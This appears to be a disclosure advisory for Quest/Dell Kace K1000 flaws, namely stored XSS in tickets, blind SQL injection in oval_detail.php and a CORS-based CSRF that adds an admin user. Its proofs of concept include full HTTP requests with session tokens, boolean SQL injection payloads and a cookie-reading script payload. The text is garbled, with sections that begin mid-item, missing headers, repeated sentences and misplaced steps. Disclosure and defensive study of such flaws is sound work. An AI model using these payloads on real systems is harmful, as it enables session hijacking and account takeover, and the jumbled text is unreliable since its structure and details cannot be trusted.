Quest Software Kace K1000 Appliance Cross-Site Scripting Vulnerability

DESCRIPTION

The Quest Kace K1000 Appliance, versions prior to 9.0.270, allows an authenticated least privileged user with 'User Console Only' rights to potentially inject arbitrary JavaScript code on the tickets page. Script execution could allow a malicious user of the system to steal session cookies of other users including Administrator and take over their session. This can further be exploited to launch other attacks. The software also does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other user.

These tests confirm that the 'selvalue' parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database. ========================================================================================================================================================= 2. Blind SQL Injection Vulnerability in Oval_Detail.PHP (CVE-2018-5404) ========================================================================================================================================================= The Dell Kace allows Admin users to view OVAL templates via 'oval_detail.php', that can be accessed by a user with ‘Read Only Administrator’ rights. Also, the user input supplied to ID parameter is not sanitized that leads to a Blind SQL Injection vulnerability. An authenticated user with ‘Read Only Administrator’ rights could exploit this vulnerability to retrieve sensitive information from the database. #Proof-Of-Concept: ------------------ 1. Send following request to the target: GET /adminui/oval_detail.php?ID=6200 HTTP/1.1 Host: 192.168.247.100 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.247.100/adminui/oval_list.php Cookie: kbox_nav=1; KACE_LAST_USER=%9A%95%91%5E%AF%B2%A6%FA%02M%B5%7D%08%87%D52; KACE_LAST_ORG=%DE%A3%0E20%8E%84%BF%B1%D5%89%E0%A8%E6%2A%FD; kboxid=i48m8gm8kcnbiptc28pq8u7uq1; KACE_CSRF_TOKEN=96acbdac36b0143958a7d96ba318eb5c626884d46733a8ed05c88cfe94d80cfdebe6bd9790ff4fec3a79fa988ff828dac4d841356c72eebb015d20c5ffd5a01a; KONEA=xvqV3k6fWuhsnypD45pPw4OPs7fZxUDP24mubodoYiSj8Y8EqJpUnakrq%2BHEefSs0YkzglNboWvUhE%2FuavTZZrkyNPMF1IH2QB%2FIF7jSm6fLukuuMyLgTFZWtOg16t5eJqCXvn0f54tfwFnfB1tobY%2Fu6MDe8BOWKaj6mByvdD6kNREg%2B%2FLwAcfIYmgJNKYu0Wd9JwsRpWpuRyZkejbrZB%2FSlkh80oHvHSey0inQmIy7B4bYnPCPUfTU8qPeZLaPcvYFchruj%2BabBazlHAaq44txeUy2AtG85ntiN8XPXoZnflHOD%2B5WjTywTtRGiRpCQVQNDbHTOdSUuljpDEyjrw%3D%3D; x-dell-auth-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJBTVNJZGVudGl0eVByb3ZpZGVyIiwic3ViIjo0LCJhdWQiOiJFU01QbGF0Zm9ybSIsImNvbiI6ImVlMTk3ZGE5NmFmYTRiYzViYzk5Y2VhMzI3ZjQ2OTdiIiwiZXhwIjoxNTIxMjk3MzE5fQ.GHuAWu_mcviKl0HQcFjY0In5aJxgB-WZCaHP5XQMdpdboby0b1qnwh4DyC3TQg4PktBm_D0Vu4LOMY5KWGRvwOQCTwrzBFLg3ogsKWb0AMO3RArrENXxEO3P3K6XFQCEIlpU9n9K1APnnRSTsfPEL7GC5GkzixakXAlZMZzLB_0 Connection: close Upgrade-Insecure-Requests: 1 2. Response to above request shows some content with the content length of 32109 bytes: 3. It shows information about OVAL-ID#24253: 4. Now send following payload that tests this ID parameter for a true condition: http://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6432 5. Response to above request again shows information about the same OVAL-ID#24252: 6. Now, use following payload to test this ID parameter for a false condition: http://192.168.247.100/adminui/oval_detail.php?ID=6200+AND+6432=6444 7. The response to false condition is different than the response to normal and/or true condition. This response does not show any information about any OVAL-ID: 8. These tests confirm that the ID parameter is indeed vulnerable to Blind SQL Injection. This can further be exploited by modifying the payload or using SQLMap to retrieve some sensitive information from the database. ========================================================================================================================================================= 3. This script executes every time a user visits this page. #Proof-Of-Concept: ------------------ 1. Log into the Dell Kace K1000 web interface as a least privileged user. 2. Navigate to Service Desk-->Tickets and create a new ticket. 3. Inject following payload in the Summary section: Test Ticket</textarea></div></div><script>alert("XSSinSummary");alert(document.cookie);</script><!-- 4. Save the ticket. 5. Go back to tickets and view this newly created ticket and a couple of alert boxes should pop up. 6. ========================================================================================================================================================= 4. Misconfigured CORS Vulnerability (CVE-2018-5406) ========================================================================================================================================================= The Dell Kace K1000 fails to implement Cross Origin Resource Sharing (CORS) properly, that leads to a Cross Site Request Forgery (CSRF) attack. An unauthenticated, remote attacker could exploit this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance’s settings. Also, malicious internal user of the organization could induce an administrator of this appliance to visit a malicious link that exploits this vulnerability to perform sensitive actions such as adding a new administrator account or changing appliance’s settings. #Proof-Of-Concept: ------------------ 1. Try to create a new user and capture the request in BurpSuite to create a CSRF PoC from there. Create an HTML form and put it under Web Root of your Kali machine. 2. Log into the web interface of the appliance as admin. 3. Open a new tab in the same browser and access the HTML page from #1 4. Save the ticket. 5. Submit the request (This can be modified to submit the request automatically). 6. Check BurpSuite to see if the request to add user ‘Hacker’ was sent to the appliance and if it was originated from your Kali machine 7. Check the admin console to see if user Hacker has been added: =================================== #Vulnerability Disclosure Timeline: =================================== 04/2018: Submitted report to CERT-US. 04/2018: CERT-US reported the issue to vendor. 05/2018: Awaiting vendor response. 10/2018: Vendor asked to test the patch as they have fixed these issues already. 10/2018: Confirmed that all the vulnerabilities except Vulnerability#2 is fixed in 9.0.270 and still exists in other patched version. 01/2019: Vendor confirmed that they are working on fixing all of the vulnerabilities and would release a patch on May 01 2019 and asked to publish this on June 01 2019 so that customers have enough time to patch. 05/2019: Vendor published an advisory. 06/2019: CERT-US published a Vulnerability Note, VU#877837
